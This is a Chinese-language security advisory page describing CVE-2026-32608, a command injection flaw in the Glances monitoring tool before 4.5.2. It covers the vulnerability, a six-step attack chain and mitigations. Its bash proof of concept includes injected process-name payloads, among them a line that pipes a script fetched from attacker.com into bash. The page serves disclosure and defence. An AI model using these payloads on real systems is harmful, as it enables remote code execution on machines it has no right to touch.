IPBUF安全漏洞报告
English
CVE-2026-32608 CVSS 7.0 高危

CVE-2026-32608 Glances命令注入漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32608
漏洞类型
命令注入
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Glances

相关标签

命令注入CVE-2026-32608Glances本地提权Mustache模板注入shell注入subprocess监控工具漏洞4.5.2以下版本

漏洞概述

Glances是一款开源的跨平台系统监控工具。该工具的动作系统允许管理员配置shell命令,当监控阈值超过时自动执行。这些命令支持Mustache模板变量(如{{name}}、{{key}}),用于填充运行时监控数据。secure_popen()函数负责执行这些命令,它通过分割命令字符串然后传递给subprocess.Popen(shell=False)来实现管道、重定向和链操作符的处理。在4.5.2之前的版本中,当Mustache渲染的值(如进程名、文件系统挂载点或容器名)包含管道(|)、重定向(>、<)或链操作符(;、&)等元字符时,渲染后的命令会被意外分割,导致攻击者可以通过控制进程名或容器名来注入任意命令。这是一种典型的命令注入漏洞,攻击者无需特殊权限即可在本地利用此漏洞。

技术细节

漏洞的核心在于secure_popen()函数对Mustache模板渲染值的处理方式。该函数设计用于安全执行管理员配置的监控命令,通过subprocess.Popen(shell=False)来避免shell注入风险。然而,该函数自己实现了管道、重定向和链操作符的解析逻辑,通过分割命令字符串来分别处理各个部分。问题在于,分割逻辑基于shell元字符(|、>、<、;、&等),但没有考虑到Mustache模板变量被渲染后可能包含这些元字符。例如,如果进程名被设置为evil;whoami,则secure_popen()会将其分割为evil和whoami两部分,从而导致命令注入。攻击者只需创建一个包含shell元字符的进程名或容器名,等待Glances的监控阈值触发,即可执行任意命令。由于secure_popen()仍然使用subprocess.Popen(shell=False),原本设计是安全的,但分割逻辑破坏了这种安全性。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统上进程名或容器名的控制权,可以是创建恶意容器、修改进程名称或创建特殊命名的文件
STEP 2
步骤2
攻击者在进程名或容器名中注入shell元字符(如;、|、>、&等),构造恶意载荷如evil;whoami
STEP 3
步骤3
Glances监控到该进程/容器,当监控阈值超过时触发预设的action命令,命令包含Mustache模板变量{{name}}
STEP 4
步骤4
Mustache引擎将{{name}}渲染为包含shell元字符的恶意进程名/容器名
STEP 5
步骤5
secure_popen()函数基于shell元字符分割渲染后的命令字符串,将恶意载荷分割成多个独立命令
STEP 6
步骤6
分割后的命令通过subprocess.Popen(shell=False)执行,攻击者注入的恶意命令被成功执行,实现命令注入

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-32608 PoC - Process Name Command Injection # This PoC demonstrates how a malicious process name can inject commands # Step 1: Create a process with shell metacharacters in the name # In a real attack, this could be done by: # - Creating a container with a crafted name # - Renaming a running process # - Creating a file with special characters in its path # Example: Create a fake process entry that will trigger the action # The process name contains: ;touch /tmp/pwned; # When rendered in Mustache template like: /path/to/{{name}} # It becomes: /path/to/;touch /tmp/pwned; # Which gets split and executed as separate commands # Simulated PoC - Process name with command injection payload MALICIOUS_NAME=";curl http://attacker.com/shell.sh|bash;#" echo "Malicious process name: $MALICIOUS_NAME" # Step 2: Wait for Glances monitoring to trigger the action # The action command might be something like: # ACTION_CMD="alert.sh --process {{name}}" # After Mustache rendering: alert.sh --process ;curl http://attacker.com/shell.sh|bash;# # secure_popen() splits this into multiple commands # Step 3: Verify command injection # The injected command (curl http://attacker.com/shell.sh|bash) will be executed

影响范围

Glances < 4.5.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用Glances的action功能或移除所有包含Mustache变量的action命令;2) 对所有进程名和容器名实施严格的白名单策略,过滤或拒绝包含shell元字符的特殊字符;3) 限制用户创建进程名或容器名的权限,防止恶意输入;4) 启用系统级审计,监控Glances进程执行的异常命令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表